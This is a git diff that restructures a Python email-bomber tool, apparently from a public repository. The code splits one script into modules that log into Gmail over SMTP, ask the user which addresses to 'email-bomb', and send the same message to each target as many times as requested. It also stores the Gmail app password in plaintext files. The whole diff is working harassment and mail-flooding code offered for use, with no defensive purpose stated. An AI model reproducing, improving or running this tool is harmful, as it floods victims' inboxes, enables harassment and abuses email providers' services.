diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..3a461f2
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,3 @@
+.idea/
+User_Credentials/
+__pycache__
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
index a12c12d..b49de43 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,6 +1,8 @@
 FROM python:3.10.12-alpine
 RUN apk update
 WORKDIR /emailbomber
-COPY emailbomber.py emailbomber.py
+
+COPY src/ ./src/
+COPY main.py .
 COPY ./Welcome/welcome.txt ./Welcome/welcome.txt
-CMD "python" "emailbomber.py"
+CMD ["python", "main.py"]
diff --git a/emailbomber.py b/emailbomber.py
deleted file mode 100644
index 266a7cf..0000000
--- a/emailbomber.py
+++ /dev/null
@@ -1,89 +0,0 @@
-# Built-in libraries
-import smtplib
-import getpass
-from os import access, path, mkdir
-from email.message import EmailMessage
-
-# Welcomes user
-print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n")
-
-# User inputs
-if not path.exists("User_Credentials"):
-    # If User_Credentials does not exist, asks for user credentials
-    sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ")
-    app_password = getpass.getpass("Enter the app's password (xxxx xxxx xxxx xxxx) -> ")
-else:
-    # Otherwise, reads saved user credentials
-    sender = open("User_Credentials/sender.txt", "rt").read()
-    app_password = open("User_Credentials/app_password.txt", "rt").read()
-
-print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)")
-
-# Enter the email(s) that you would like to email-bomb
-receiver = input("Specify the email(s) you would like to email-bomb -> ")
-
-# Enter the subject for the emails
-subject = input("Enter the subject for your email-bomber message -> ")
-
-# Enter the message that the email user(s) will receive
-msg = input("Enter your email-bomber message -> ")
-
-message = EmailMessage()
-message.set_content(msg, subtype="plain", charset='us-ascii')
-message["Subject"] = subject  # Set the subject for the email
-
-# Loop until a valid count value is given
-while True:
-    try:
-        count = int(input("Enter a number for the amount of emails to be sent -> "))
-    except ValueError:
-        print("Please enter an integer for the amount of emails to be sent.")
-    except KeyboardInterrupt:
-        print("Goodbye!")
-        quit()
-
-    if count <= 0:
-        print("Count must be positive. Received", count)
-        continue
-    break
-
-# Server
-server = smtplib.SMTP("smtp.gmail.com", 587)
-server.starttls()
-
-# Attempts to log in to the user's Gmail account
-try:
-    server.login(user=sender, password=app_password)
-except smtplib.SMTPAuthenticationError as error:
-    print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.")
-    print(f"{error}")
-    input("Enter to exit...")
-    quit()
-
-try:
-    if not path.exists("User_Credentials"):
-        # If user credentials do not exist, create and save credential files
-        # If there are no errors in credentials, save user information after SMTP verification
-        mkdir("User_Credentials")
-        open("User_Credentials/sender.txt", "xt").write(sender)
-        open("User_Credentials/app_password.txt", "xt").write(app_password)
-        input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
-except OSError:
-    print("\nError: There was an error saving your credentials.")
-
-print("\nEmail-bomber has started...\n")
-
-for i in range(count):
-    # Amount of messages to be sent
-    for email_receiver in receiver.split(","):
-        # Loops through emails to send emails to
-        try:
-            print(f"Email-bombing {email_receiver}...")
-            server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message.as_string())
-            print("Email sent successfully!")
-        except smtplib.SMTPException as error:
-            print(f"Error: {error}")
-            continue
-
-input("\nEmail-bomber was successful...\nPress enter to exit...")
-server.close()
diff --git a/main.py b/main.py
new file mode 100644
index 0000000..995ccf7
--- /dev/null
+++ b/main.py
@@ -0,0 +1,9 @@
+from src.emailbomber import email_bomber
+
+
+def main():
+    email_bomber()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/authentication.py b/src/authentication.py
new file mode 100644
index 0000000..809a9e2
--- /dev/null
+++ b/src/authentication.py
@@ -0,0 +1,14 @@
+import smtplib
+
+
+def login_to_smtp(server, sender, app_password):
+    """
+    logs into the SMTP server.
+    Returns:
+        smtplib.SMTP: authenticated SMTP server object
+    """
+    try:
+        server.login(sender, app_password)
+    except smtplib.SMTPAuthenticationError as e:
+        raise smtplib.SMTPAuthenticationError(e.smtp_code,"Login failed: Check your email or app password.") from e
+    return server
diff --git a/src/crendentials.py b/src/crendentials.py
new file mode 100644
index 0000000..d9499f6
--- /dev/null
+++ b/src/crendentials.py
@@ -0,0 +1,50 @@
+import getpass
+import os.path
+from os import path, mkdir
+
+CREDENTIALS_DIR = "User_Credentials"
+
+
+def get_credentials(dir_name=CREDENTIALS_DIR):
+    """
+    Loads sender email and app password from file if exists,
+    otherwise prompts the user to input and saves them.
+    Returns:
+        tuple: sender_email, app_password
+    """
+    parent_dir = os.path.abspath(os.getcwd())
+    file_path = os.path.join(parent_dir, dir_name)
+    if not path.exists(file_path):
+        sender = input("Enter your Gmail address (example@gmail.com): ")
+        app_password = getpass.getpass("Enter your app password (xxxx xxxx xxxx xxxx): ")
+    else:
+        with open(f"{file_path}/sender.txt", "r") as sender_file:
+            sender = sender_file.read()
+        with open(f"{file_path}/app_password.txt", "r") as password_file:
+            app_password = password_file.read()
+        print("\nCredentials Loaded successfully.")
+
+    return sender, app_password
+
+
+def save_credentials(sender, app_password, dir_name=CREDENTIALS_DIR):
+    """
+    Saves sender email and app password into file if exists.
+    Create a file if it doesn't exist.
+    :param sender: email address
+    :param app_password: app password
+    :param dir_name: directory to save credentials
+    :return: None
+    """
+    parent_dir = os.path.abspath(os.getcwd())
+    file_path = os.path.join(parent_dir, dir_name)
+    try:
+        if not path.exists(file_path):
+            mkdir(file_path)
+        with open(f"{file_path}/sender.txt", "w") as sender_file:
+            sender_file.write(sender)
+        with open(f"{file_path}/app_password.txt", "w") as password_file:
+            password_file.write(app_password)
+        print("\nCredentials saved successfully.")
+    except OSError as e:
+        raise OSError(f"Error saving credentials: {e}")
diff --git a/src/e_mail.py b/src/e_mail.py
new file mode 100644
index 0000000..53ce993
--- /dev/null
+++ b/src/e_mail.py
@@ -0,0 +1,55 @@
+import smtplib
+from email.message import EmailMessage
+
+
+def get_email_details():
+    """
+    Prompts the user for recipients, subject, message, and count.
+    Returns:
+        tuple: recipients, subject, message_body, email_count
+    """
+    print(
+        "If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)\n")
+    recipients = input(
+        "Specify the email(s) you would like to email-bomb (comma-separated) -> "
+    ).replace(" ", "").split(",")
+    subject = input("Enter the email subject: ")
+    msg = input("Enter the email message: ")
+
+    while True:
+        try:
+            count = int(input("Enter the number of times to send each email: "))
+            if count <= 0:
+                raise ValueError("Count must be positive.")
+            break
+        except ValueError as e:
+            raise ValueError(f"Invalid input: {e}")
+
+    return recipients, subject, msg, count
+
+
+def create_email(subject, body):
+    """
+    Creates an EmailMessage object.
+    Returns:
+        EmailMessage: the constructed message
+    """
+    msg = EmailMessage()
+    msg["Subject"] = subject
+    msg.set_content(body, subtype="plain", charset="us-ascii")
+    return msg
+
+
+def send_bulk_emails(server, sender, recipients, msg, count):
+    """
+    Sends emails using the authenticated SMTP server.
+    """
+    print("\nSending emails...\n")
+    for _ in range(count):
+        for recipient in recipients:
+            try:
+                print(f"Sending to {recipient}...")
+                server.sendmail(sender, recipient, msg.as_string())
+                print("Sent successfully!")
+            except smtplib.SMTPException as e:
+                raise smtplib.SMTPException(f"Failed to send to {recipient}: {e}")
diff --git a/src/emailbomber.py b/src/emailbomber.py
new file mode 100644
index 0000000..fb97bde
--- /dev/null
+++ b/src/emailbomber.py
@@ -0,0 +1,39 @@
+import smtplib
+from src.server import get_server
+from src.load_welcome import display_welcome
+from src.authentication import login_to_smtp
+from src.crendentials import get_credentials, save_credentials
+from src.e_mail import get_email_details, create_email, send_bulk_emails
+
+
+def email_bomber():
+    display_welcome()
+    sender, app_password = get_credentials()
+
+    server = None
+    try:
+        server = get_server()
+        if server:
+            server = login_to_smtp(server, sender, app_password)
+            save_credentials(sender, app_password)
+            recipients, subject, body, count = get_email_details()
+            msg = create_email(subject, body)
+            send_bulk_emails(server, sender, recipients, msg, count)
+            print("Email Bombing process completed successfully.")
+    except smtplib.SMTPConnectError as e:
+        print(f"SMTP Connect error: {e}")
+    except smtplib.SMTPAuthenticationError as e:
+        print(f"SMTP authentication error: {e}")
+    except ValueError as e:
+        print(f"ValueError: {e}")
+    except smtplib.SMTPException as e:
+        print(f"SMTP error: {e}")
+    except Exception as e:
+        print(f"Unknown error: {e}")
+    finally:
+        if server:
+            server.close()
+            print("\nDisconnected from SMTP server.")
+            print("Email Bomber closing...")
+        else:
+            print("\nEmail process aborted due to connection/login failure.")
diff --git a/src/load_welcome.py b/src/load_welcome.py
new file mode 100644
index 0000000..242a6fe
--- /dev/null
+++ b/src/load_welcome.py
@@ -0,0 +1,14 @@
+import os
+
+WELCOME_FILE = r"Welcome/welcome.txt"
+
+
+def display_welcome(filepath=WELCOME_FILE):
+    """Displays the welcome message from a file."""
+    parent_dir = os.path.abspath(os.getcwd())
+    filepath = os.path.join(parent_dir, filepath)
+    try:
+        with open(filepath, encoding="utf-8") as file:
+            print(f"{file.read()}\n\n")
+    except FileNotFoundError:
+        raise FileNotFoundError("Welcome file not found.")
diff --git a/src/server.py b/src/server.py
new file mode 100644
index 0000000..ce66819
--- /dev/null
+++ b/src/server.py
@@ -0,0 +1,13 @@
+import smtplib
+
+SMTP_SERVER = "smtp.gmail.com"
+SMTP_PORT = 587
+
+
+def get_server(smtp_server=SMTP_SERVER, smtp_port=SMTP_PORT):
+    try:
+        server = smtplib.SMTP(smtp_server, smtp_port)
+        server.starttls()
+    except smtplib.SMTPConnectError as e:
+        raise smtplib.SMTPConnectError(e.smtp_code, f"Connection failed: {e}")
+    return server